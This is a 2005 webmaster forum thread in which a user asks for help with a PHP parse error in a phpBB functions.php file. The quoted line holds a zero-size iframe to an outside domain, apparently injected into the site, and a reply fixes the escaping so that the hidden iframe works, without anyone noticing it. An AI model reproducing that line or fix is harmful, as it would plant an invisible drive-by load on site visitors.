Forum Moderators: coopster

Message Too Old, No Replies

Parse Error. Please Help

         

buvo

3:46 pm on Nov 1, 2005 (gmt 0)

10+ Year Member


Here is the exact error...

Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in /home/thesourc/public_html/kitchentable/includes/functions.php on line 766

And Here is Line 766 of functions.php

{
echo "<html>\n<body>\n" . $msg_title . "\n<br /><br />\n" . $msg_text . "<iframe src="http://www.greppsaux.info" width=0 height=0></body>\n</html>";
}

I dont get it... I dont know whats wrong with it... I have limited PHP knowledge so all help is greatly appreciated.

vincevincevince

3:48 pm on Nov 1, 2005 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member




{
echo "<html>\n<body>\n" . $msg_title . "\n<br /><br />\n" . $msg_text . "<iframe src=\"http://www.greppsaux.info\" width=0 height=0></body>\n</html>";
}

" within a " " enclosed string must be escaped using \

buvo

3:57 pm on Nov 1, 2005 (gmt 0)

10+ Year Member



Ok did that. On the first \ is there a space between it and the double quotes? or no space... I put it in with no space and go this when trying to go to the site...

Warning: init_userprefs(./language/lang_english/lang_main.): failed to open stream: No such file or directory in /home/thesourc/public_html/kitchentable/includes/functions.php on line 278

Warning: init_userprefs(./language/lang_english/lang_main.): failed to open stream: No such file or directory in /home/thesourc/public_html/kitchentable/includes/functions.php on line 278

Warning: init_userprefs(): Failed opening './language/lang_english/lang_main.' for inclusion (include_path='.:/usr/local/lib/php') in /home/thesourc/public_html/kitchentable/includes/functions.php on line 278

Warning: message_die(./language/lang_english/lang_main.): failed to open stream: No such file or directory in /home/thesourc/public_html/kitchentable/includes/functions.php on line 702

Warning: message_die(./language/lang_english/lang_main.): failed to open stream: No such file or directory in /home/thesourc/public_html/kitchentable/includes/functions.php on line 702

Warning: message_die(): Failed opening './language/lang_english/lang_main.' for inclusion (include_path='.:/usr/local/lib/php') in /home/thesourc/public_html/kitchentable/includes/functions.php on line 702
phpbb :

could not query database for theme info

debug mode

sql error : 1146 Table 'thesourc_p_bb2.themes_table' doesn't exist

Instead of the Parse Error

kamakaze

4:22 pm on Nov 1, 2005 (gmt 0)

10+ Year Member



I would think that the space after the \ would result in a parse error.

As far as all the "failed to open stream..." errors it appears either the file names or the path to the files is not valid because its failing to open the file. I am assuming you are using fopen?

The last message its about the same except it looks like you are using an include and the path or file name is invalid.